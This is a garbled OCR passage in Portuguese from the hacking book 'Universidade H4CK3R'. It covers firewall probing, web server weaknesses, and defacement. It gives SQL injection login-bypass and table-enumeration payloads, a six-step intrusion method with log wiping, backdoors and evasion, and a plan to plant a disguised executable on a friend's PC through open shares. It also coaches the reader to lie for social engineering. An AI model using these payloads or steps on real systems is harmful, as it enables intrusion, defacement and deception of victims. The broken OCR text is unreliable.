qualquer um deles para enviar e-mails annimos. Uma ltima recomendao:
leia as RFCs!
Furando firewalls
Quando algum invade um computador domstico, tem sua disposio alguns arquivos importantes apenas para o dono. Talvez algum software bacana
que merea ser copiado. Essas mquinas no servem para realizar o sonho
warholiano desses adolescentes: ter seus breves momentos de fama.
Para conseguir a to sonhada publicidade grtis, necessrio atacar sistemas
que sejam visveis ao grande pblico. Alterar web sites a primeirssima escolha, uma vez que algum recado pode ser dado e a obra-de-arte sempre vir
assinada. Mas h outras opes de grande repercusso, embora mais annimas.
Derrubar servidores de empresas ou roteadores da Internet so duas delas.
Apesar do anonimato, o estrago causado grande.
1193 I
]Vulnerabilidades
II
I Universidade
H4CK3R
Firewalls
Falemos a verdade: quem hoje, em s conscincia, deixaria um servidor Web
ligado diretamente Internet? (Ok, ok, ok, est bem: muita gente faria isso...?)
Mesmo que sejam mquinas acessveis aos internautas em geral, um certo grau
de proteo deve ser providenciado para que nosso site no seja molestado
logo no primeiro dia (ou antes, na primeira hora...). Essa proteo usualmente
relegada a equipamentos chamados fn-ewa1ls.
Um firewall sempre colocado na divisa entre duas ou mais redes. Pode ser
entre redes privadas ou entre uma rede privada e a Internet. A funo de tal
equipamento controlar o trfego entre elas, permitindo ou bloqueando informaes de acordo com regras preestabelecidas. H diversas explicaes para
a palavra firewall. Os autores preferem a definio de "porta corta-fogo", ou
seja, deixa passar as pessoas correndo do incndio mas bloqueia o fogo.
Analogamente, os firewalls agem como portas que permitem a algumas conexes entrar ou sair da rede, enquanto bloqueia as demais. Normalmente, as
conexes originadas de dentro da rede so permitidas, enquanto as originadas
de fora da rede so bloqueadas.
Permite ~da
e retorno
Filtros de pacotes
A tentativa mais antiga de barrar acessos indesejados em nossas redes talvez
seja a de analisar os pacotes TCP/lP um por um e, olhando em seus cabealhos,
decidir (ou adivinhar) se o mesmo maligno ou no. Normalmente, as "perguntas" que o f11trofaz ao pacote so:
~ O pacote destinado ao endereo IP de algum servidor da rede?
~ Seu endereo IP de origem permitido nesta rede?
~ A porta TCP/UDP a que se destina corresponde a um servio ofertado na
minha rede?
~A porta TCP/UDP de origem corresponde a uma aplicao-cliente dos meus
servios?
11941
Vulnerabilidades 111
Universidade
2 Ano
Porta Origem
Rede Externa Todas
Porta Destino
Protocolo
80
TCP
FlagTCP
Todos
Ao
Permitir
Todas
TCP
ACK
Permitir
80
TCP
SYN
Permitir
Todas
TCP
ACK
Permitir
Todas
Todas
Todos
Todos
Negar
IP Origem
Rede Interna
Todas
Todas
Vulnerabilidades
II
I Universidade
H4CK3R
Proxies
Os f1ltros de pacotes, como o nome j diz, baseiam-se nas informaes carregadas pelos prprios pacotes para tomar as decises sobre quem entra ou sai
e quem barrado. Diferentemente, flrewalls baseados na tecnologia proxy trabalham com a camada de aplicao. O proxy interage com o programa e seus
protocolos, independente de como esse protocolo ser encapsulado na pilha
TCP/lP. Por exemplo, um proxy para Web muito conhecido no mundo Unix, o
Squid, trabalha apenas com o protocolo HTTp, bloqueando os demais2. Alm
disso, imune a ataques com pacotes isolados. O pacote ACK que passou com
galhardia pelo f1ltro de pacotes ser solenemente ignorado pelo proxy, que
ainda vai "escovar os bits" do protocolo HTTP para deixar passar apenas mensagens que lhe obedeam estritamente - ao muito mais efetiva do que simplesmente bloquear as conexes ACKTCP/80. H proxies para todos os gostos,
sendo HTTp,FTP e Telnet os mais comuns.
Proxy repassa
solicitao ao servidor
. Proxy
Vulnerabilidades II [
Universidade
2 Ano
Rede
Privada
1197
I
Vulnerabilidades
11
I Universidade
H4CK3R
Para fazer o Nmap enviar pacotes ACK a todas as portas de uma nica mquina,
utilize a opo -sA (voc deve ser root para isso):
# nmap -sA IP.A.SER.VASCULHADO
O prompt mostrado de um Unix, mas o comando no Windows seria exatamente o mesmo. Obviamente, podem-se usar os front ends grficos (NmapWin
e Nmapfe) para facilitar a tarefa, se assim for desejado.
possvel fazer o mesmo scan com todas as portas de uma faixa de IPs (ou
seja, diversas mquinas). Por exemplo:
IP
. DO.WEB.SERVER
Voc ver uma lista com todos os nmeros IP (e, se disponveis, os nomes de
DNS) dos computadores e roteadores que esto no caminho entre o seu computador e o computador destino. muito provvel que, sendo o computador destino um web server, as duas interfaces de rede (ou seja, os nmeros IP) imediatamente anteriores pertenam ao firewall. J temos, com isso, trs informaes
vlidas: o endereo IP do web server, os endereo IP do firewall e suas regras de
filtragem. Com um pouco de pacincia, o "hacker" pode tentar diversos endereos prximos com o Nmap e o T,raceroutelTracert e, com os dados obtidos, desenhar um diagrama aproximado da rede a ser atacada. Perigoso, no mesmo?
De posse dessas informaes, um scanner de vulnerabilidades, como o valoroso Nessus, poder abrir um mundo de opes para invadir qualquer uma das
mquinas encontradas. Basta descobrir o furo, baixar o exploit (www.cert.org
e www.securitifocus.com. pra comear) e correr para o abrao.
Servidores Web
preciso conhecer com certa profundidade os daemond HTTP a serem atacados para poder, rapidamente, invadi-Ios e alterar suas pginas. Conhecer as
vulnerabilidades existentes neles crucial para o sucesso da empreitada. Aps
invadidos, os caminhos que levam s pginas devem ser descobertos rapidamente para evitar um tempo muito longo de conexo e possveis rastreamentos.
1198 I
Vulnerabilidades 11[
Universidade 2 Ano
Apache
O servidor HTTP nmero um no mundo o Apache (www.apache.org).
um programa de cdigo aberto e livre distribuio muito prestigiado por seu
desempenho, segurana e flexibilidade. Entretanto, nenhum software 100%
seguro, e o Apache no exceo.
Os arquivos de configurao do Apache normalmente esto no /etc, nos
diretrios /etc!httpd ou /etc/apache. Em algumas implementaes, podem estar
em /usr/locaVapache ou /var!httpd. importante que o atacante se familiarize
com os conceitos de operao de um servidor HTTP,com o Apache em especial
e, principalmente, com o arquivo de configurao httpd.conf. Outro ponto interessante a estudar so os mecanismos de acesso a pginas restritas por meio de
senhas. Tais mecanismos usam arquivos normalmente chamados de .htacces para
guardar o login e a senha dos usurios cadastrados. Todas essas informaes
constam na documentao do produto, disponvel no site oficial.
A melhor maneira de aprender sobre o Apache mexendo nele. Instale um Linux
qualquer em um computador de testes bem como o Apache mais recente. Brinque
com as configuraes, procure HOwros na Internet, crie pginas de acesso restrito e, principalmente, veja como a hierarquia de diretrios organizada.
Como nem tudo so flores, o Apache pode estar vulnervel a ataques. Alm
de m configurao do Unix que o hospeda, o prprio Apache pode estar mal
configurado. Mas mesmo que tudo esteja em ordem, pode haver falhas no
software que possibilitem uma invaso. Um exemplo simples. O Apache possui
um mdulo, mod_php, que permite a execuo de sistemas escritos na linguagem PHP no servidor. Algumas funes do mod_php permitem que um programa externo seja executado. Nessas situaes, o controle da porta pela qual o
Apache "escuta" (normalmente a 80) passado a esse programa externo. Sendo
assim, fcil fazer um programinha com cdigo malicioso que permita ao
hacker tomar conta da porta 80: basta que o programa nunca devolva o controle para o Apache e que esteja aberto para transmisso de dados por parte
do hacker. O invasor pode enviar qualquer coisa pela porta 80, inclusive outras
pginas HTML,sem alterar o contedo das pginas hospedadas no servidor. O
exploit e uma explicao mais detalhada podem ser encontrados
em
www.guninski.com/phpl.html.
1199 I
I
Vulnerabilidades
11
I Universidade
H4CK3R I
1200 I
Vulnerabilidades
II r
Universidade
2 Ano
]Vulnerabilidades
11
I Universidade
H4CK3R I
PHP e ASP
As duas linguagens mais usadas para a implementao de sites dinmicos na
Web so, sempre, cheias de falhas. Como elas precisam efetuar algum
processamento antes de enviar a pgina HTML formatada ao browser, possvel inserir comandos maliciosos na URL ou em algum formulrio e conseguir
um shell para si. Com o shell, a porta para seu defacement est aberta.
A linguagem PHP (Hypertext Preprocessor) foi desenvolvida para substituir
12021
Vulnerabilidades 11[
Universidade 2 Ano
os scripts CGI em servidores Unix, embora tenha sido portada para diversas
plataformas, incluindo Windows. O sistema Active Server Pages (ASP), da
Microsoft, por outro lado, como um "shell" que interfaceia o servidor IlS e
qualquer linguagem externa. A mais usada para montar programas em ASP o
VBScript, mas muitas outras podem ser usadas, incluindo ]avascript e WSE.
Apesar da maior segurana e desempenho que essa abordagem oferece - afinal, nenhum programa externo ao servidor Web est sendo rodado -, ainda h
algumas falhas que podem ser exploradas. Para uma lista completa, consulte
seu site de vulnerabilidades
preferido, por exemplo o Security Focus
(www.securityfocus.com),
o Linux Security (www.linuxsecurity.org)
ou o
Security Bugware (www.securitybugware.org).
Defacements
Depois de atacar computadores pessoais, a prxima grande empreitada dos
script kiddies a desfigurao de web sites, os chamados defacements. At
agora, conseguimos verificar (apenas com Nmap e Traceroute/Tracert) os furos no firewall e mapear toda a rede diretamente conectada Internet. Aprendemos ainda a usar proxies para aumentar nosso anonimato e a mandar fakemails - coisa que facilita a vida de qualquer engenheiro social. A rede interna
ainda inacessvel para ns. Por enquanto...
Um defacement algo simples de fazer. Claro que h casos e casos, alguns
mais difceis, outros extremamente infantis, mas no geral os passos bsicos
para um defacement so:
1 Engenharia Social, aplicada aos administradores do site. Um exemplo clssico o prprio site da Digerati (www.digerati.com). que foi desfigurado pela
hacker juvenil Melpneme. Usando apenas tcnicas de engenharia social, ela descobriu as senhas dos administradores do site da Digerati no registro nacional de
domnios (registro.br). A partir dos dados obtidos l, acessando com as senhas
conseguidas, invadiu o DNS(tambm sem exploits, apenas com senhas conseguidas
por engenharia social) que apontava para nosso servidor Web e alterou o IP,apontando para o servidor dela. Resultado: os sites da Geek e da Digerati aparentemente desfigurados.A imagem do site desfigurado est no CD.
2 Com ES, tudo fica mais fcil. Mas com ou sem informaes privilegiadas,
deve-se cuidar do anonimato quando tentar qualquer ataque com ferramentas de
informtica. Para isso, cuide de se proteger com spoofmg e proxies pblicos.
3 Faa scans de portas e de vulnerabilidades at descobrir se os DNSs ou o
web server tm falhas que podem ser exploradas. Se sim, v atrs dos exploits
e consiga acesso ao shell da mquina. Observe que muitas vezes voc ter acesso restrito, ento precisar fazer cracking de senhas ou brute force (vide captulo 7, Vulnerabilidades l) para conseguir acesso ao superusurio.
12031
I
Vulnerabilidades
11
I Universidd
H4CK3R
pelos diretrios
em que as pginas so
Bancos de Dados
A maioria dos sites com contedo dinmico e controle de acesso utiliza-se de bancos de dados. Os primeiros para armazenar os retalhos de cdigo a fim de usar para
montar o HfML entregue ao cliente, os segundos para manter o cadastro dos usurios. Ambos podem ser facilmente acessados com algum trabalho braal.
no computador
do atacante,
um
Um exemplo
prtico:
na Internet,
voc encontrou
com um scanner de
vulnerabilidades
(por exemplo, o Nessus) um servidor Unix rodando o banco
de dados PostgreSQL. Para acess-Io, basta instalar e configurar um front end
grfico para acesso e administrao dos bancos de dados do Prostgre chamado
pgaccess (www.frex.ro/pgaccess).
2041
Vulnerabilidades 11[
Universidade 2 Ano
12051
]Vulnerabilidades
II
I Universidade
H4CK3R I
Nome Completo
Henrique Cesar Ulbrich
James Fbio Della Valle
Suzana Warren
Fabio Cruz
Login
ulbrich
james
suzy
fcruz
Senha
W6rYwH
D3114V4113
pipoca
blaublauO 1
Admin? (S/N)
S
S
N
N
Esse fragmento de tabela nos revela coisas interessntes. O que mais salta
vista que as senhas dos usurios comuns normalmente so muito fracas, e um
bom ataque por dicionrio facilmente as descobriria. Mas h algo que, de to
bvio, passa despercebido pela maioria das pessoas: os administradores quase
sempre so os primeiros nomes da lista. Em mais de 90% dos casos, o ID 1 da
tabela corresponde ao desenvolvedor, que seguramente deu a si mesmo poderes
de administrador para poder fazer os testes necessrios. Essa informao ser
til mais para frente.
12061
Vulnerabilidades II [
Universidade 2 Ano
O que esse comando faz mandar para o banco de dados um comando SQLpara
listartodos os usurios que contenham o login e a senha informados. Por exemplo, se
um internauta digitar,como login e senha,"junior"e "fabio",a string SQLficaria assim:
SELECT login, senha, nome, admin FROM tabela_usuarios
WHERE login = 'junior' AND senha = 'fabio'
Trocando em midos, esse comando solicitar ao banco de dados uma lista
com todos os registros cujo campo login for junior e o campo senha seja fabio.
Em um sistema bem-feito, no haver nomes de login repetidos, logo o banco vai
retornar os dados do usurio, se ele existir. Compare o comando ASP e o comando SQLpuro. No primeiro, aspas duplas separam o que uma string pura do que
comando ASP.As aspas simples so consideradas parte da string pura. Como
podemos perceber, os valores atribudos aos campos login e senha esto entre
aspas simples. Hummm... E se eu colocar, no meio do meu login, uma aspa simples tambm (por exemplo, jun 'ior)?O comando SQL resultante ser:
SELECT login, senha, nome, admin FROM tabela_usuarios
WHERE login = 'jun'ior' AND senha = 'fabio'
O SQL considerar o nome de login como apenas jun e o resto do nome, ior,
como parte do comando SQL. IOR no um comando SQL vlido, portanto a
pgina retomar um erro. justamente esse erro que, mais para frente, nos
dir qual a estrutura da tabela. Por ora, vamos us-Io para inserir mais comandos SQL no campo de login.
Experimente, no login, inserir a seguinte string
, OR 1=1
- -
e veja o que acontece. Possivelmente voc se logou como administrador!!! Vamos analisar como essa feitiaria funciona na string SQL:
SELECT login, senha, nome, admin FROM tabela_usuarios
WHERE login = " OR 1=1 -- AND senha = "
Traduzindo a string para o portugus (isso sempre facilita...): "SELECIONE
os campos login, senha, nome, admin DA TABELAtabela_usuarios EM QUE o
login seja vazio (' ') ou a condio 1 = 1 seja verdadeira". Queee? 1 = I?
Essa condio SEMPRE verdadeira, portanto, o usurio magicamente est
12071
1
Vulnerabilidades
11
I Universidade
H4CK3R I
logado no sistema!!! A senha nunca ser consultada validada, pois todo o resto
da string (AND senha =' ') est comentado com os dois travesses.
Se voc j souber o nome de usurio de uma pessoa e quiser acessar o sistema com seu login, basta colocar a string mgica no campo senha. Ou comentar
o campo de login, aps entrar com o usurio. Por exemplo, se voc sabe que o
login de sua me neidem, tente:
login: neidem'-senha:
<vazio>
ou
login:
neidem
senha:' OR 1=1
Algumas vezes necessrio colocar' OR 1=1 tambm no campo senha, em
vez de comentar com travesses o final do campo login.
Outro caso em sites pblicos com cadastros numerosos. Podemos colocar a
string mgica no campo login e "chutar" uma senha qualquer. O comando SQL
vai puxar todos os usurios que tiverem aquela senha, e voc se logar no
primeiro deles. Use suas listas de palavras (lembra-se do captulo 7?) e entre
seguramente. Voc encontrar diversas duplas nome/senha. Com um pouco de
organizao, voc poder fazer uma lista dos nomes e senhas vlidos no site e
usar "um pouco de cada", dificultando o rastreamento das contas invadidas.
Brinque bastante com os sites escolhidos para vtima - sites com MS SQL e ASP
so presas perfeitas. Com seus conhecimentos de PHP e MySQL,monte um site
para experincias e insira todos os comandos SQL que voc conseguir lembrar.
Bem, agora que j conseguimos entrar, que tal descobrir como a tabela est
montada? Lembre-se de que estamos completamente cegos at agora. Um comando conhecido de SQL o HAVlNG,que permite selecionar grupos de campos que
possuam um padro especfico. Coloque, no campo de login, a string , having
1=1 - - e observe o resultado. Cada gerenciador de banco de dados emitir erros
diferentes, mas em comum eles tero uma mensagem parecida com essa:
Column 'userid' on table 'mainsite' is invalid on the
selected list ...
Opa! O banco de dados alegremente nos presenteou com o nome da tabela,
mainsite e o nome do primeiro campo da tabela, userid. Alguns bancos de
dados retomariam o valor desse campo em formato orientado a objetos, algo
como mainsite.USERID. No importa, j temos dois dados importantes. Mais
para frente, a mensagem provavelmente mencionar que no h uma clusula
GROUP BY no comando. Bem, vamos adicionar tal clusula e ver no que d:
Usuario: ' GROUP BY mainsite.USERID having 1=1 -Cruzes! Olhe a resposta do site:
Column 'userlogin' on table 'mainsite' is invalid on the
selected list ...
J sabemos o nome do segundo campo!!! Tentemos de novo:
U~o:'
GROUPBY mainsite.USERID,mainsite.USERLOGINhaving 1=1 --
1208 I
Vulnerabilidades 11[
Universidade 2 Ano
A resposta
userid
FROM
rnainsite WHERE
1=1
--
12091
I
Vulnerabilidades
11
Universidade 3 Ano:
Tornando-se
um Hacker
Ataque, defesa e
contra-ataque:
Introduco
.
Captulo
L./ come fece Romolo,
10
o comunque
se chiamasse
il capoccione
Universidade 3 Ano:
Tornando-se
um Hacker
Ataque, defesa e
contra-ataque:
Introduco
.
Captulo
"f.../
il capoccione
10
donne a se e ai suoi
I Universidade
H4CK3R
3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar
acesso total mquina (root para sistemas Unix, administrador para sistemas
WinNT
- no Win9x, o primeiro
acesso j garante
controle
total...). Cada SO
possui procedimentos diferentes para tal. Uma vez conseguido o acesso irrestrito,
basta coletar as informaes desejadas e, se for o caso, desfigurar o sistema.
2141
Ataque, defesa e contra-ataque: Introduo I
Universidade 3 Ano
4. Agora que voc j "ownou" o sistema, trate de cobrir seus rastros e instalar as portas de trs. Verifique os logs do sistema e apague tudo o que for
relativo sua visita, MASAPENAS ISSO! Resista tentao de apagar o log
todo - um "buraco" no registro de eventos far com que o administrador
descubra mais cedo do que o esperado que algum andou bulindo com seu
brinquedo. Depois de fazer a cirurgia nos logs, instale os backdoors. Alguns
hackers mais experientes tm o cuidado de aplicar patches no sistema para
remover as portas que o deixaram entrar, evitando assim que outros hackers
menos habilidosos entrem no sistema e, por descuido, alertem o administrador de que a mquina foi tomada.
Mas neste ponto do livro, nosso objetivo no mais agir como script kiddies,
que vagam pela Internet procurando por presas fceis que saibam caar. Ao
contrrio, queremos ter uma idia de como black hats, digamos, "profissionais" trabalham para alcanar seus objetivos em um alvo especfico, qualquer
que seja seu nvel de dificuldade. Para tanto, vamos tentar separar, por afinidade, nossos esforos em seis passos distintos. Como guerra o assunto do
momento, usaremos termos militares para nos referir a cada um deles. Talvez
as cruzadas, as guerras do Paraguai, Vietn, Meganisto, os conflitos na Palestina ou at mesmo a Guerra no Golfo 2 tenham passado. Mas os cybercombates
entre hackers/crackers e administradores de sistemas vo durar muitos anos,
talvez sculos.
~ Passo 1: Planejamento
Hummm, difcil dizer se este realmente o passo 1. Na verdade, todos os
passos so interdependentes: precisamos das informaes obtidas em cada
movimento que fazemos para poder planejar (e corrigir) adequadamente nosso ataque. A seqncia de atividades ser, portanto, algo parecido com 1-2-1-31-4-1-5-1-6-1,em vez da bvia 1-2-3-4-5-6.
Como todo plano precisa de ajustes e como quase toda tarefa pode ser subdividida em vrias mais especficas, podemos perceber que o processo de planejamento ser contnuo durante toda a batalha e durar at bem depois da
fmalizao do ataque. Cada pequeno detalhe do ataque tem seu prprio plano
1-2-1-3-1-4-1-5-1-6-1.Se voc no documentar muito bem cada um dos passos
que tem a fazer, acabar com um bocado grande demais para mastigar sem
estalar a boca. E no esquea: formas de esconder as provas do crime tambm
fazem parte do planejamento!
No basta saber o que est fazendo. necessrio saber por que est fazendo.
Se voc tem uma resposta na ponta da lngua quando perguntado "ei, por que
voc quer invadir minha empresa?" pode seguir em frente. Mas no se esquea de
que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando
estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea
que, dependendo de seus intentos, voc estar incorrendo em algum crime.
12151
] Ataque, defesa
e contra-ataque:
Introduo
I Universidade H4CK3R I
~ Passo 2: Observao
Toda operao militar, seja governamental ou dos rebeldes, precisa estar
embasada em informaes precisas e detalhadas sobre o alvo. O conjunto de
dados necessrios incluem diversos subconjuntos aparentemente no relacionados: detalhes pessoais, como hbitos, habilidades profissionais, passatempos,
famlia, amigos, antigas namoradas; informaes corporativas, hierarquia interna, clientes/concorrentes/fornecedores,
dados sobre os sistemas de informao... Do monstro de dados obtido, h ainda a necessidade de garimpar informaes no disponveis diretamente, fazer referncias cruzadas e, literalmente, "ler nas entrelinhas".
Vrias tcnicas podem ser usadas aqui. A mais bvia e eficaz (embora menos
direta e mais perigosa) a Engenharia Social. Mas mesmo sem contar mentira
alguma, possvel coletar uma coleo razovel de informaes obtidas da Internet
ou de observao direta. No se afobe: pacincia a palavra-chave aqui.
~ Passo 3: Busca
Com os planos, mapas e a lista de tarefas na mo, podemos comear a procurar os buracos pelos quais vamos entrar. Um arsenal numeroso e variado de
scanners de portas e vulnerabilidades deve estar disposio para que todos
os pontos fracos sejam revelados. Assim como no passo anterior, pacincia
um dos ingredientes mais importantes desta etapa. Mas no o nico. No basta
usar uma ferramenta que revele o furo de segurana se voc no entende como
ela funciona.
~ Passo 4: Invaso
H vrias maneiras de ganhar acesso ao sistema-alvo. Nos captulos
Vulnerabilidades I e 11vimos algumas. Mas so tcnicas pontuais, que exploram
fraquezas especficas de um sistema. A grande sacada saber agrupar as vrias
tcnicas disponveis de maneira a atingir o objetivo maior. Alm disso, muitas
vezes necessrio passar por vrios nveis de acesso at conseguir poderes
suficientes para atingir o objetivo final do ataque.
~ Passo 5: Manuteno
Nem todos os administradores de rede so completos idiotas. A maioria, na
realidade, no . Uma vez detectada uma vulnerabilidade que possibilite um ataque, qualquer administrador provido de bom senso vai aplicar os patches de
segurana, fechando o rombo. Se voc j invadiu uma vez por um buraco na
segurana ou uma falha em algum programa, possvel que sua prxima tentativa, dias depois, seja infrutfera: a porta estar fechada. Uma vez dentro dos
muros do castelo, necessrio instalar meios para que se possa entrar e sair sem
ser notado, e que sejam independentes das brechas de segurana do sistema.
12161
Ataque, defesa e contra-ataque: Introduo[
Universidade 3 Ano
~ Passo 6: Evaso
"J invadi, j copiei, j desfigurei, j apaguei e j destru, e ainda deixei portas
secretas por onde entrar e sair sem ser incomodado. E agora, fao o qu?" Bem,
pequeno gafanhoto, est na hora de apagar os rastros que voc deixou. Essa
etapa comea j na preparao do ataque, escolhendo as ferramentas e procedimentos menos ruidosos, tomando cuidado para no deixar aparente que est
logado no sistema e, principalmente, tentando descobrir antes de entrar se h
um sistema IDS ativo. Depois de fazer o que tem de fazer (defacement, cpia de
arquivos e programas, lanamento de outros ataques), apague criteriosamente
suas pegadas nos arquivos de registro do sistema, tomando o cuidado de no
danificar os outros dados registrados. uma falha amadorssima "limpar" demais
o logoOutro cuidado que deve ser tomado j nos passos iniciais de planejamento
a preveno contra sistemas de deteco de intrusos, os famigerados IDSs.
o portal
Estamos prestes a entrar no lado negro. Uma vez l, muitos ficaro tentados
a no sair. um risco que todos temos de correr. Nas prximas pginas veremos, de forma detalhada, como levar a cabo cada um dos passos vistos aqui. A
escolha toda sua, caro leitor.
A melhor maneira de organizar as idias pegar um pedao de papel (prefiro papel tela do computador) e rabiscar algumas coisas. As pessoas normalmente perguntam-se por onde comear, esquecendo-se de que a nica coisa
que sabem aonde querem chegar. Portanto, vamos comear pelo fim. Nosso
objetivo pregar uma pea em nosso amigo com um programa inofensivo e
incmodo (chato, mesmo!).
PROGRAMA
CHATO
12171
Introduo
I Universidade
H4CK3R
Introduo
Universidade 30 Ano
12191
I
Introduo
I Universidade
H4CK3R
Passos 2 e 3:
Vamos fazer uma tentativa. Espere
Observao e busca
ele entrar on-line e inicie uma conDetenninao do ambiente
Determinao do IP
- Engenharia social para
- ICQou MSNMesseger
versao. Desligue tudo o que acessar
Transferncia de arquivos determinar SOe MUA
- Resultado: WinME
e The Bat
Internet em seu computador:
- Netstat -na
I
e-mail, navegadores, eMule, KaZaA,
I
-.
MSN Messenger, deixando apenas o
Busca
por brechas
ICQ.Troque algumas mensagens com
- Scanpara obter falhas e determinar
quais usar
ele e pea que ele lhe envie algum ar- Scanners escolhidos: Nmape Nessus
- Resultado: C",=tilhamento de
quivo razoavelmente grande (MP3,
Arquivosabertos (TCP139)
imagem, programa, qualquer coisa).
Antes de aceitar a transferncia, abra
uma janela do MS-DOS.
Passo
4: Invaso
Durante a transferncia, use o comando netstat -na Escolha do programa-bomba
Programa
Chato
na janela do MS-DOS,da mesma maneira como voc
- AnimaoemFlash
executvel no Windows
fez nos captulos de Redes 11e Vulnerabilidades 11.Na
- Tema: Ponte Preta Ox 1
lista de conexes que vai aparecer, as ltimas delas
'.01de Piracicaba
so os IPs da sua conversao e da troca de arquivos.
O IP remoto mostrado o dele.
Essa dica funciona com qualquer transferncia de Camuflagem e Controle
dados on-line entre os dois computadores. E-mail no - Flash comtempo de espera
- Instalado no WIN.INI para ser
on-line: quem transfere o servidor SMTP,no a pes- escondido o bastante, mesmo
assim facilmente removvel
soa que o enviou. No caso do MSN Messenger, do AOi
Instant Messenger e do Yahoo! Messenger, as mensagens so sempre intermediadas pelos respectivos servidores, portanto, o netstat vai mostrar o IP do serviInternet
Explorer
dor Passport.NET, por exemplo... Com uma exceo:
- \\IP.VTIMA
- Copiar
bomba para
a transferncia de arquivos ainda peer-to-peer. Se o
C: \ Windows
Edi tar
WIN. INI
seu amigo usar MSN e no ICQ, pea para ele enviar
-Esperar
um arquivo grande. O IP dele certamente aparecer
na lista do netstat com este artifcio.
Agora que temos o IP da vtima, vamos escane-Ia. Usando o Nmap, descobrimos que, por descuido, nosso amigo engenheiro deixou os compartilhamentos
de disco ligados e sem senhas. Nada mais simples do que abrir um Internet
Explorer e digitar \\IP.DA.VITIMA.AQUI.Pronto! Voc j est na mquna dele,
pode abrir e editar arquivos.
Com essas alteraes, nosso diagrama j est funcional. Vamos elaborar, agora,
uma lista seqencial de etapas para nosso ataque? Afmal,no podemos fazer tudo
ao mesmo tempo, ento temos que organizar as coisas. Na prxima pgina est
uma lista de passos. interessante de se deixe um espao abaixo de cada item,
para que se possa escrever os resultados, observaes ou problemas encontrados.
Os comentrios entre parnteses no fazem parte do roteiro. So apenas
orientaes para que a elaborao do roteiro cumpra o objetivo pretendido.
-
1220
Universidade 3 Ano
PASSOSPARAHACKEAR
FULANODETAL
1. Engenharia Social: conversa informal para saber detalhes de sistema
operacional.
2. Busca: Determinao do IP com ICQ e netstat. Se o passo 1 for for feito por
ICQ tambm, matamos dois coelhos. (Queimar etapas desejvel DESDEQUE
no interfira na sua segurana.)
3. Escanear a vtima com Nmap e depois Nessus para verificar as
vulnerabilidades. (A lista pararia aqui at que descobrssemos por onde atacar.
um exemplo de 1-2-1-3-1.)
4. Descoberta a brecha de compartilhamento. Preparar arquivo com bomba para
ser implantado na vtima. Flash com bomba de espera. Usar r.otinas tal e tal. (Use
sempre ferramentas e linguagens que voc conhece BEM!Deslizes so fatais...)
5. Teste seu arquivo localmente. Renomeie-o para winvxd.exe.
(Sempre instale um sistema operacional idntico ao da vtima. Instale programas parecidos aos dela e tente deixar sua mquina muito prxima ao que voc
conseguiu descobrir das configuraes do computador invadido. Quando alguma etapa ordenar a cpia de arquivos para a vtima, renomeie-os com nomes
parecidos com os do sistema).
6. [OPCIONAL]Teste os passos de nmero 7 em diante em um ambiente
controlado. Depois de certificar-se da validade deste roteiro, ataque a vtima.
(Opcional quase obrigatrio. Faa um ataque similar a um computador semelhante que esteja disponvel e em que voc possa verificar a validade do ataque.
Um amigo hacker poderia ajud-Io nessa hora. Colaborao importantssimo
nesse meio.)
7. Conectar
ao computador.
Use o Internet
Explorer
com a URL
(Acostume-se a colocar informaes especficas em seus roteiros, como programas a usar, opes e configuraes desses programas, endereos e portas a
atacar e protocolos utilizados. No apenas passos genricos. Um ataque tem
de ser rpido para ser efetivo e indetectado. Ficar procurando as opes escondidas de um programa durante a invaso pedir para ser apanhado!)
8. Copie o arquivo winvxd.exe para C:\windows.
(Cuidado com arquivos muito grandes. Lentido na Internet seguida de atividade no disco rgido so eventos suspeitssimos!)
12211
Introduo
I Universidade
H4CK3R I
e, na, linha
"run=",
digite
claro que nosso ataque foi sem importncia, a vtima fcil e o programabomba no muito elaborado e facilmente detectvel. Mas, ora veja, funciona!
Nosso roteiro tambm bem simples, embora um ataque por meio dele j
seja possvel. Mas por que no algum nvel de refmamento? Algumas idias:
No preciso
2221
Ataque, defesa e contra-ataque:
Introduo
Universidade 3 Ano
12231
Introduo
Ataque, defesa e
contra-ataque:
Observaco
.
Captulo
11
'You have to be tru5ted
I Universidade
H4CK3R I
A diferena entre os script kiddies e os black hats mais espertos comea nesta
fase (na verdade, comea na anterior, mas muitos black hats reconhecidamente
bons tambm negligenciam a fase de preparao...). Assim como quadrilhas observam bancos por meses e seqestradores acampam em frente casa de suas
vtimas, atacantes digitais dignos desse nome tm de observar suas presas
longamente antes de mergulhar sobre elas como falces sobre frangos-de-leite.
Este captulo tratar rapidamente de algumas reas nas quais o candidato a
invasor poder procurar para angariar informaes sobre as empresas, pessoas e, principalmente, seus sistemas computacionais e de conectividade.
Resumindo: quer brincar na rua? Antes faa o dever de casa!
Engenharia Social
No captulo 6, tivemos um primeiro contato com a arte de mentir. Como a
mentira, a impostura e a desonestidade so to antigas quanto os primeiros
macacos falantes que vagavam por a, no h meios descrever todos os procedimentos possveis.
No vamos, aqui, chover no molhado e repetir o que dissemos no captulo 6.
Use a maldade que 100% das pessoas tm escondida por a em algum canto e
desenvolva seus prprios mtodos. O que funcionou para Mitnick pode no
funcionar para voc.
Dicas? A vo algumas:
~ Faa aulas de teatro. Dica bvia.
~ Impostao de voz, segurana e fIrmeza so importantes.
quebrar um galho.
~ Acostume-se
hbitos.. .
neurolingstica.Vai
~ Minta para seu chefe, para sua me, para o padre em confIsso. Treine a
mentira. Ela sua ferramenta mais poderosa. Nem todos os scanners do mundo
podem descobrir as coisas que simples perguntas feitas com a entonao correta conseguem em cinco minutos.
No basta saber o que est fazendo. necessrio saber por que est fazendo. Se
voc tem uma resposta na ponta da lngua quando perguntado" ei, por que voc
quer invadir minha empresa?", pode seguir em frente. Mas no se esquea de
que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando
estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea
que, dependendo de seus intentos, voc estar incorrendo em algum crime.
12261
Ataque, defesa e contra-ataque:
Observao
Universidade 3 Ano
A grande teia
Posso contar nos dedos a quantidade de coisas que no achei pela Internet.
Certa vez, estava ajudando minha namorada francfona a procurar algumas
letras de "chansons" para inserir em uma compilao que ela estava fazendo.
Uma das msicas, "a ira" (que possui diversas verses com diferentes letras),
estava sendo duro de encontrar. Segue o dilogo:
- No consigo achar esta aqui.
-Qual ?
- "a ira", vrias gravaes, entre elas a de Edith Piaf.
-J tentou no All The Web?
-J, tambm no Google e no Alta Vista.
-Como vc tentou?
-Procurei pelo nome, s. Depois tentei nome da msica mais Edith Piaf.
